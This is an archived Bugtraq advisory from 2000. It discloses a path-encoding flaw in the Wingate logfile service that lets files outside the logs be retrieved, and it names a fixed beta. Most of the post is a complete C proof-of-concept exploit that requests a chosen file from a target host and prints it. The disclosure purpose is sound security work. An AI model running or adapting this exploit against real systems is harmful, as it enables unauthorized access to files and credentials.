[17227] in bugtraq

home help back first fref pref prev next nref lref last post

Wingate 4.1 Beta A vulnerability

daemon@ATHENA.MIT.EDU (Blue Panda)
Mon Oct 16 12:49:23 2000

Mime-Version: 1.0
Content-Type: multipart/mixed;
              boundary="----=_NextPart_000_001B_01C03796.4AF583C0"
Message-Id:  <001e01c03742$7a0b3d20$0102a8c0@michael>
Date:         Mon, 16 Oct 2000 17:27:00 +1000
Reply-To: Blue Panda <bluepanda@DWARF.BOX.SK>
From: Blue Panda <bluepanda@DWARF.BOX.SK>
To: BUGTRAQ@SECURITYFOCUS.COM

This is a multi-part message in MIME format.

------=_NextPart_000_001B_01C03796.4AF583C0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

=================================================================
Blue Panda Vulnerability Announcement: Wingate 4.1 Beta A
16/10/2000 (dd/mm/yyyy)

bluepanda@dwarf.box.sk
http://bluepanda.box.sk/
=================================================================

Details available in the attached file.


------=_NextPart_000_001B_01C03796.4AF583C0
Content-Type: text/plain;
	name="wgate41a.txt"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
	filename="wgate41a.txt"

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
Blue Panda Vulnerability Announcement: Wingate 4.1 Beta A
16/10/2000 (dd/mm/yyyy)

bluepanda@dwarf.box.sk
http://bluepanda.box.sk/
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

Problem:
=3D=3D=3D=3D=3D=3D=3D=3D=3D
The logfile service can be used to retrieve files unrelated to logging.

Vulnerable:
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
Wingate 4.1 Beta A
Wingate 4.0.1 (most recent stable release)
Wingate 3.0
Wingate 2.1

Prior versions may also be vulnerable, but have not been tested.

Immune:
=3D=3D=3D=3D=3D=3D=3D=3D
Wingate 4.1 Beta C

Vendor status:
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
Notified.

Details:
=3D=3D=3D=3D=3D=3D=3D=3D=3D
The logfile server allows logs to be viewed remotely via HTTP. By =
encoding
file/path portion of the URL as a series of escape codes (ie,
"%41%42%43%44"), an attacker may circumvent input validation. All files
accessable to the logging service can be retrieved by taking advantage =
of
this flaw. Files containing newlines may be corrupted.

By default, this service is bound only to 'private' interfaces (LAN =
adapters,
the loopback interface, etc). However, users who have legitimate access =
to
logs do not necessarily have legitimate access to all files available to =
the
logfile server process.

eEye Security (http://www.eeye.com/) reported that the logging server =
could
be used to retrieve files remotely in version 3.0. Unfortunately, the =
problem
was not thoroughly fixed and this simple trick allows characters to be
inserted that are not subject to input validation (escaped characters =
are
inserted _after_ checks are performed).

This vulnerability affects the latest beta version of Wingate (4.1 A) as =
well
as the most recent stable release (4.0.1). The attack has been confirmed =
to
work against Wingate 2.1 and 3.0. Other versions have not been tested. =
If you
can confirm that this problem does/does not exist in a particular =
version of
Wingate not mentioned here, please e-mail me so I can update this =
document.

The immune version (4.1 Beta C) can be obtained from
http://wingate.deerfield.com/beta/.

Proof of concept:
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
/*
wgate41a.c - Wingate 4.1 Beta A logfile service vulnerability.
Blue Panda - bluepanda@dwarf.box.sk
http://bluepanda.box.sk/

----------------------------------------------------------
Disclaimer: this file is intended as proof of concept, and
is not intended to be used for illegal purposes. I accept
no responsibility for damage incurred by the use of it.
----------------------------------------------------------

Makes a request to the Wingate logfile service in such a way that it =
will
not be subject to filtering. This can allow an attacker to retrieve =
files
irrelevant to the logging system. The file received is dumped to stdout, =
and
all other output is written to stderr. Newline characters (0x0d and =
0x0a)
will probably be screwed up by Wingate.

usage: wgate41a <host> <path/filename> [<port>]
*/
#include <stdio.h>
#include <winsock.h>

const char *USAGE =3D "usage: wgate41a <host> <path/filename> =
[<port>]\nport defaults to 8010.";
const char *ERROR_WINSOCK_INIT =3D "Error initialising winsock.";
const char *ERROR_SOCKET_CREATE =3D "Error creating socket.";
const char *ERROR_RECV =3D "Error receiving file/directory listing.";
const char *ERROR_MALLOC =3D "Error allocating memory.";
const char *WARNING_WINSOCK_CLEANUP =3D "Warning: winsock failed to =
clean up successfully.";

const int DEFAULT_PORT =3D 8010;
const int CONNECT_ERROR_NONE =3D 0;
const int CONNECT_ERROR_HOST =3D 1;
const int CONNECT_ERROR_CONNECT =3D 2;

const char *GET_REQUEST =3D "GET /";
const char *HTTP11 =3D " HTTP/1.1\x0d\x0a\x0d\x0a";
const char *END_OF_HEADERS =3D "\x0d\x0a\x0d";

#define BUF_LEN 2048

void Usage(void);
int Connect(int iSock, char *szHost, int iPort);
int InitWinsock(void);
int ShutdownWinsock(void);
void Bail(const char *szMessage);

int main(int argc, char *argv[])
{
        int iPort;
        int iResult;
        int iSocket;
        int iCounter;
        char *szFile =3D NULL;
        int iFileLen =3D 0;
        char *szFileTemp =3D NULL;
        char *szStartOfFile;
        char sBuf[BUF_LEN];

        if ((argc < 3) || (argc > 4)) Usage();
        if (argc =3D=3D 4)
                iPort =3D atoi(argv[3]);
        else iPort =3D DEFAULT_PORT;

        // Attempt to initialise winsock.
        iResult =3D InitWinsock();
        if (iResult !=3D 0)
                Bail(ERROR_WINSOCK_INIT);

        // Create socket.
        iSocket =3D socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
        if (iSocket =3D=3D INVALID_SOCKET)
                Bail(ERROR_SOCKET_CREATE);

        // Connect to target.
        fprintf(stderr, "Connecting to %s:%d...", argv[1], iPort);
        iResult =3D Connect(iSocket, argv[1], iPort);
        if (iResult =3D=3D CONNECT_ERROR_HOST)
                Bail("invalid host.");
        if (iResult =3D=3D CONNECT_ERROR_CONNECT)
                Bail("failed.");
        fprintf(stderr, "done.\n");

        // Connected. Send request.
        send(iSocket, GET_REQUEST, strlen(GET_REQUEST), 0); // Begin =
request.       =20
        iCounter =3D 0; // File/path.
        do
        {
                sprintf((char *)(&sBuf), "%%%x", argv[2][iCounter]);
                send(iSocket, sBuf, strlen(sBuf), 0);
                iCounter++;
        } while((unsigned int)(iCounter) < strlen(argv[2]));
        send(iSocket, HTTP11, strlen(HTTP11), 0); // Terminate request.

        fprintf(stderr, "Receiving...\n");

        // Receive reply.
        do
        {
                iResult =3D recv(iSocket, (char *)(&sBuf), BUF_LEN, 0);
                if (iResult > 0)
                {
                        if (szFile !=3D NULL)
                        {
                                szFileTemp =3D (char =
*)(malloc(iFileLen));
                                if (szFileTemp =3D=3D NULL)
                                        Bail(ERROR_MALLOC);
                                memcpy(szFileTemp, szFile, iFileLen);
                                free(szFile);
                        }
                        szFile =3D (char *)(malloc(iFileLen + iResult + =
1));
                        if (szFile =3D=3D NULL)
                                Bail(ERROR_MALLOC);
                        if (szFileTemp !=3D NULL)
                        {
                                memcpy(szFile, szFileTemp, iFileLen);
                                free(szFileTemp);
                                szFileTemp =3D NULL;
                        }
                        memcpy(szFile + iFileLen, (char *)(&sBuf), =
iResult);
                        iFileLen +=3D iResult;
                }
                else
                        if ((iResult =3D=3D SOCKET_ERROR) && =
(WSAGetLastError() !=3D WSAETIMEDOUT)) iResult =3D 0;
        } while(iResult !=3D 0);

        fprintf(stderr, "Finished. Dumping to stdout...\n");

        szFile[iFileLen] =3D 0;
        szStartOfFile =3D strstr(szFile, END_OF_HEADERS);
        if (szStartOfFile !=3D NULL)
                szStartOfFile +=3D 4;
        else
        {
                szStartOfFile =3D szFile;
                fprintf(stderr, "Warning: unable to find end of HTTP =
headers.\n");
        }
        if (iFileLen - (szStartOfFile - szFile) > 0)
                fwrite(szStartOfFile, 1, iFileLen - (szStartOfFile - =
szFile), stdout);
        else fprintf(stderr, "Warning: file blank.\n");

        free(szFile);

        // Attempt to shut-down winsock.
        iResult =3D ShutdownWinsock();
        if (iResult !=3D 0)
                fprintf(stderr, "%s\n", WARNING_WINSOCK_CLEANUP);
        return 0;
}

void Usage(void)
{
        fprintf(stderr, "%s\n", USAGE);
        exit(0);
}

int Connect(int iSock, char *szHost, int iPort)
{
        SOCKADDR_IN RemoteAddress;
        struct hostent *HostInfo;
        int iResult;

        RemoteAddress.sin_family =3D AF_INET;
        RemoteAddress.sin_port =3D htons(iPort);
        RemoteAddress.sin_addr.s_addr =3D inet_addr(szHost);
        if (RemoteAddress.sin_addr.s_addr =3D=3D INADDR_NONE)
        {
                HostInfo =3D gethostbyname(szHost);
                if (HostInfo =3D=3D NULL) return 1;
                memcpy(&RemoteAddress.sin_addr.s_addr, HostInfo->h_addr, =
sizeof(HostInfo->h_addr));
        }

        iResult =3D connect(iSock, (SOCKADDR *)&RemoteAddress, =
sizeof(RemoteAddress));
        if (iResult) return 2;
        return 0;
}

int InitWinsock(void)
{
        WSADATA WSData;
        WORD WSVersion;
        int iResult;

        WSVersion =3D MAKEWORD(1, 1);
        iResult =3D WSAStartup(WSVersion, &WSData);
        return iResult;
}

int ShutdownWinsock(void)
{
        int iResult;
        iResult =3D WSACleanup();
        return iResult;
}

void Bail(const char *szMessage)
{
        fprintf(stderr, "%s\n", szMessage);
        exit(1);
}

------=_NextPart_000_001B_01C03796.4AF583C0--

home help back first fref pref prev next nref lref last post